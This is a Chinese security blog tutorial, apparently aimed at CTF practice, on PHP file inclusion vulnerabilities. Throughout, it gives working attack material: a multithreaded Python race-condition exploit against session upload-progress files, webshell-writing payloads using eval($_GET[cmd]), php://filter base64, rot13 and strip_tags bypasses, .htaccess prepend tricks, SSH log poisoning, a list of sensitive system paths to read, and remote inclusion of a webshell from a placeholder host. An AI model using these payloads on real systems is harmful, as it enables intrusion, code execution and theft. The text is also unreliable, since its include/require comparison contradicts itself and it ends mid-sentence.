详解文件包含漏洞
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了详解文件包含漏洞相关的知识,希望对你有一定的参考价值。
详解文件包含漏洞
什么是文件包含
为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件
文件包含漏洞成因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码
例如:$_GET['filename']
没有经过严格的过滤,直接带入了include的函数,便可以修改$_GET['filename']
的值,执行非预期的操作
<?php
$filename = $_GET['filename'];
include($filename);
?>
php引发文件包含漏洞的四个函数
- include()
- include_once()
- require()
- require_once()
include()和require()的区别:
require()如果在包含过程中出错,就会直接退出,不执行后续语句
require()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行
文件包含漏洞的类型
当包含文件在服务器本地上,就形成本地文件包含;当包含的文件在第三方服务器是,就形成可远程文件包含
本地文件包含
无任何限制
<?php
show_source(__FILE__);
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
echo "Can you find me???";
}
?>
由于没有任何限制所以可以通过目录遍历漏洞来获取到系统中的其他内容,因为考察文件包含经常是结合任意文件读取漏洞的,所以就总结一些Liunx环境下文件常见读取路径
/etc/apache2/*
#Apache配置文件,可以获知Web目录、服务端口等信息
/etc/nginx/*
#Nginx配置文件,可以获知Web目录、服务端口等信息
/etc/crontab
#定时任务文件
/etc/environment
#环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况
/etc/hostname
#主机名
/etc/hosts
#主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,可以探测网卡信息和内网IP/域名
/etc/issue
#系统版本信息
/etc/mysql/*
#mysql配置文件
/etc/my.cnf
#mysql配置文件
/etc/mysql/my.cnf
#MYSQL配置文件
/etc/php/*
#PHP配置文件
/proc 目录
#/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录,如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self代替/proc/[pid]即可
/proc/[pid]/cmdline
#cmdline可读出比较敏感的信息
# ssh日志,攻击方法:
ssh `<?php phpinfo(); ?>`@192.168.1.1
/var/log/auth.log
# apache日志
/var/log/apache2/[access.log|error.log]
#apache配置文件(ubuntu)
/etc/apache2/apache2.conf
#apache配置文件(centos)
/etc/httpd/conf/httpd.conf
限制包含文件的后缀名
<?php
highlight_file(__FILE__);
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file . ".H3rmesk1t");
}else{
echo "Cam you find me???"
}
?>
第一种方法:%00截断
- 前提:PHP<5.3.4
- magic_quotes_gpc = Off
第二种方法:长度截断
- 前提:PHP版本<=5.2.?
- 操作系统对于目录字符串存在长度限制:Windows下目录最大长度为256字节,超出的部分会被丢弃掉;Linux下目录最大长度为4096字节,超出的部分会被丢弃掉;例如,windows操作系统,
.
超过256个字节即可,Linux下只需不断重复./
即可
第三种方法:zip/phar协议
<?php
highlight_file(__FILE__);
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file.".jpg");
}else{
echo "Can you find me???"
}
?>
很明显看出来这是个文件包含,但是将传递的文件名后面强制加了一个".jpg"的后缀,导致了无法任意文件包含
首先我们新建一个shell.php文件,内容如下:
<?php phpinfo();?>
- 并将其改名为test.jpg,因为上面的代码只能包含 jpg 文件嘛
- 然后将其压缩成zip包,压缩的时候注意要选择only store之类的选项,防止数据被压缩
- 然后将这个 zip 的后缀改为 jpg 之类的(有时不改直接用zip后缀也可以成功),目的是可以成功上传,之后我们就可以通过:
http://localhost/H3rmesk1t/demo.php?file=zip://D:/Users/86138/Desktop/shell.zip%23shell
或者http://localhost/H3rmesk1t/demo.php?file=zip://D:/Users/86138/Desktop/shell.jpg%23shell
或者http://localhost/H3rmesk1t/demo.php?file=phar://D:/Users/86138/Desktop/shell.zip/shell
或者http://localhost/H3rmesk1t/demo.php?file=phar://D:/Users/86138/Desktop/shell.jpg/shell
- zip://文件路径/zip文件名称#压缩包内的文件名称 (使用时注意将#号进行URL编码)
- phar://文件路径/phar文件名称/phar内的文件名称
- phar://协议与zip://类似,同样可以访问zip格式压缩包内容
Session文件包含漏洞
- 前提条件:PHP版本>5.4.0
- 配置项:session.upload_progress.enabled的值为On
- 利用session.upload_progress进行文件包含,在php5.4之后添加了这个功能
(由于我是在Windows环境下做的测试就把限制条件去掉了)
<?php
highlight_file(__FILE__);
if(isset($_GET['file'])){
$file = $_GET['file'];
// $file = str_replace("php", "xxx", $file);
// $file = str_replace("data", "xxx", $file);
// $file = str_replace(":", "xxx", $file);
// $file = str_replace(".", "xxx", $file);
include($file);
}else{
echo "Can you find me???";
}
?>
几个php.ini的默认选项:
session.upload_progress.enabled = on
# 表示upload_progress功能开始,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on
# 表示当文件上传结束后,php将会立即清空对应session文件中的内容
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
# 表示为session中的键名
session.use_strict_mode=off
# 表示对Cookie中sessionid可控
例如:在
session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'
的条件下上传文件,便会在session['upload_progress_D1no']
中储存一些本次上传相关的信息,储存在/tmp/sess_H3rmesk1t
// PHPSESSION = H3rmesk1t
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="D1no" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
通过上图和几个默认选项的有关介绍就想是否可以利用session.upload_progress来写入恶意语句,然后进行包含文件,但前提是需要知道session的存储位置
PHP中session的存储机制:
- php中的session中的内容并不是存储在内存中,而是以文件的方式进行存储,存储方式是由配置项
session.save_handler
来进行确定的,默认便是以文件的方式进行存储,存储文件的名字便是由sess_sessionid
来进行命名的,文件的内容便是session值序列化之后的内容,至于存储路径便是由配置项session.save_path
来进行决定的
一般session的存储路径都不会怎么去改,默认的便是:
- linux:/tmp 或 /var/lib/php/session
- Windows:C:\\WINDOWS\\Temp
存储路径知道了,但是由于代码中没有session_start()函数,无法创建出session文件;其实如果配置项session.auto_start=On 是打开的,那么PHP在接收请求的时候便会自动化Session,不再需要执行该函数,但默认都是关闭的;在session中还有一个默认选项,便是上面提到的session.use_strict_mode默认值是0,用户可以自己定义SessionID
Cookie中设置:
PHPSESSID = H3rmesk1t
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_H3rmesk1t
即使此时用户没有初始化Session,PHP也会自动初始化Session
并产生一个键值,这个键值由ini.get("session.upload_progress.prefix")+我们构造的session.upload_progress.name值组成,最后被写入sess_文件里
还有一个问题没有解决,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容会立即被清空,所以这里就需要去使用多线程同时进行写和读,进行条件竞争,在session文件清除前进行包含利用
import requests
import io
import threading
url = 'http://xxx.xxx.xx.xx:80/H3rmesk1t/demo.php'
sessID = 'H3rmesk1t'
def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b'H3rmesk1t' * 1024 * 50)
reponse = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat flag");?>'},
files={'file':('text.txt',f)}
)
def read(session):
while event.isSet():
reponse = session.get(url + '?file=/phpstudy/phpstudy_x64/phpstudy_pro/Extensions/tmp/sess_{}'.format(sessID))
if 'D1no' in reponse.text:
print(reponse.text)
#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.clear()
else:
print('[*]continued')
if __name__ == '__main__':
#通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
#会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,)).start()
这样就可以得到flag了,除此之外,还可以使用burp来进行条件竞争,例如利用下面的html上传代码上传一个文件
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/H3rmesk1t/demo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="H3rmesk1t" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
再根据代码抓一个get的包,请求/tmp/sess_flag
同时进行爆破,payload设置成null payloads就可以一直爆破
远程包含
利用前提:
- allow_url_fopen = On 是否允许打开远程文件
- allow_url_include = On 是否允许include/require远程文件
无任何限制
代码没有任何限制,直接在公网上存放恶意webshell即可,然后通过包含即可执行恶意payload
?filename=http://xxxx/php.txt
限制包含文件的后缀名
例如:
<?php include($_GET['filename'] . ".no"); ?>
- 第一种方法:?绕过
?filename=http://xxxx/php.txt?
- 第二种方法:#绕过
?filename=http://xxxx/php.txt%23
PHP伪协议
简单理解便是PHP自己提供的一套协议,可以适用于自己的语言,其他语言则不适用,这便是伪协议,与之相对的例如HTTP\\HTTPS便不是伪协议,因为大部分系统\\软件都能够进行识别
常见的伪协议
可以看下之间详解PHP伪协议的内容
如果遇到的环境有写入权限,可以使用php://input伪协议来写入木马
POST DATA
<?php fputs(fopen('H3rmesk1t.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
php://filter各种过滤器
php://filter是一种元封装器,设计用来数据流打开时筛选过滤应用,详见官方文档
对于php://来说,是支持多种过滤器嵌套的,格式如下:
php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称(包含后缀名)
# 如果|被过滤掉了,可以使用多过滤器:
php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=文件名称(包含后缀名)
# 嵌套过程的执行流程为从左到右
其实是可以简写成这样的php://filter/[过滤器] ,php会自己进行识别
过滤器列表
过滤器名称 | 说明 | 类别 | 版本 |
---|---|---|---|
string.rot13 | rot13转换 | 字符串过滤器 | PHP>4.3.0 |
string.toupper、string.tolower | 大小写互转 | 字符串过滤器 | PHP>5.0.0 |
string.strip_tags | 去除<?(.*?)?> 的内容 | string.strip_tags | PHP<7.3.0 |
convert.base64-encode、convert.base64-decode | base64编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.quoted-printable-encode、convert.quoted-printable-decode | URL编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.iconv.编码1.编码2 | 任意编码转换 | 转换过滤器 | PHP>5.0.0 |
zlib.deflate、zlib.inflate | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
bzip2.compress、bzip2.decompress | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
从上面的过滤器列表中便会发现,php伪协议主要支持以下几类:
- 字符串过滤器
- string.strip_tags
- 转换过滤器
- 压缩过滤器
- 加密过滤器
PHP伪协议常用函数
注意show_source有回显,而file_get_contents是没有回显的
- file_get_contents
- file_put_contents
- readfile
- fopen
- file
- show_source
- highlight_file
file_put_content与死亡/杂糅代码
CTF经常类似考察这样的代码:
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\\nxxxxxx");
这种代码非常常见,在$content开头增加了exit进程,即使写入一句话也无法执行,遇到这种问题一般的解决方法便是利用伪协议
php://filter
,结合编码或相应的过滤器进行绕过;绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码
第一种情况
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
file_put_contents($file,"<?php exit();".$content);
}else{
highlight_file(__FILE__);
}
base64编码绕过:
- 上面提到了绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码
- 使用base64编码,是因为base64只能打印64 (a-z0-9A-Z) 个可打印字符,PHP在解码base64时如果遇到了不在其中的字符,便会跳过这些字符,然后将合法字符组成一个新的字符串再进行解码
- 当$content被加上了
<?php exit; ?>
以后,可以使用php://filter/convert.base64-decode
来对其解码,在解码的过程中,字符<?;空格
等不符合base64编码的字符范围将会被忽略,所以最终被解码的字符只有phpexit和传入的其他字符- 但是还要知道的是base64解码时是4个byte一组,上面正常解码的只有7个字符,所以再手动加上去1个字符a,凑齐8个字符
Payload:
?file=php://filter/convert.base64-decode/resource=H3rmesk1t.php
POST DATA
content=aPD9waHAgcGhwaW5mbygpOyA/Pg==
rot13编码绕过:
利用rot13编码其实和base64编码绕过原理一样,只要成为php无法进行识别的代码,就不会执行
前提是PHP没有开启short_open_tag(短标签),默认情况下是没有开启的
Payload:
<?php
$s = '<?php @eval($_GET[cmd]); ?>';
echo str_rot13($s)
?>
=>
<?cuc @riny($_TRG[pzq]); ?>
?file=php://filter/write=string.rot13/resource=test1.php
POST DATA
content=<?cuc @riny($_TRG[pzq]); ?>
嵌套绕过:
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签(php7.3之后移除)
string.strip_tags
可以去除剥去字符串中的 HTML、XML 以及 PHP 的标签,而<?php exit; ?>
实际上便是一个XML标签,既然是XML标签,就可以利用strip_tags函数去除它,所以可以先将webshell用base64编码,调用完成strip_tags后再进行base64-decode,死亡exit在第一步被去除,而webshell在第二步被还原
Payload:
#php5
?file=php://filter/string.strip_tags|convert.base64-decode/resource=test2.php
POST DATA
content=?>PD9waHAgcGhwaW5mbygpOyA/Pg==
#由于<?php exit();不是完整的标签,所以需要加上?>进行补全
但是这种方法有局限性,因为string.strip_tags在php7.3以上的环境下会发生段错误,从而导致无法写入,在php5或者php7.2的环境下则不受此影响
过滤器嵌套:
如果环境是php7的话,也可以使用过滤器嵌套的方法来做
流程是先将三个过滤器叠加之后进行压缩,然后转小写,最后再解压,这样的流程执行结束后会导致部分死亡代码错误,便可以写进去我们想要写入的shell,原理很简单,就是利用过滤器嵌套的方式让死亡代码在各种变换之间进行分解扰乱,最终变成php无法识别的字符
经测试可用的Payload:
?file=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=a.php
POST DATA
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[cmd]);?>/resource=a.php
或者(没试过)
content=php/:|<?php%0Dphpinfo();?>/resource=test3.php
.htaccess的预包含利用:
.htaccess是一个纯文本文件,里面存放着Apache服务器配置相关的一些指令,它类似于Apache的站点配置文件,但只作用于当前目录,而且是只有用户访问目录时才加载,通过该文件可以实现网页301重定向,自定义404错误页面,改变文件拓展名,禁止目录列表等
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件,同时在本目录或子目录中需要有可解析的 php 文件来触发,这时无论访问那个文件,都会解析出flag.php
php_value auto_prepend_file +文件绝对路径(默认为当前上传的目录)
Payload:
?file=php://filter/write=string.strip_tags/resource=.htaccess
POST DATA
content=?>php_value%20auto_prepend_file%20D:\\phpstudy\\phpstudy_x64\\phpstudy_pro\\WWW\\H3rmesk1t\\flag.php
第二种情况
<?php
if(isset($_GET['content'])){
$content = $_GET['content'];
file_put_contents($content,"<?php exit();".$content);
}else{
highlight_file(__FILE__);
}
这种情况和上面第一种便有点不同了,因为是一个变量,但还是可以利用php伪协议进行嵌套过滤器来消除死亡代码的,可以利用.htaccess进行预包含,然后读取flag
.htaccess预包含绕过:
可以直接自定义预包含文件,这里直接包含了.htaccess导致了所有文件都包含flag.php文件
这里我本机测试时无法执行.htaccess,借用了一下别人的图 (还是太菜了~~)
payload:
?content=php://filter/string.strip_tags/?>php_value auto_prepend_file D:\\flag.php%0a%23/resource=.htaccess
base64编码绕过:
- 既然变成了一个变量,那么首先想到的payload便是:
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=H3rmesk1t.php
但是有一个问题,可以创建文件,但是无法写入内容,原因出在=号上,因为默以上是关于详解文件包含漏洞的主要内容,如果未能解决你的问题,请参考以下文章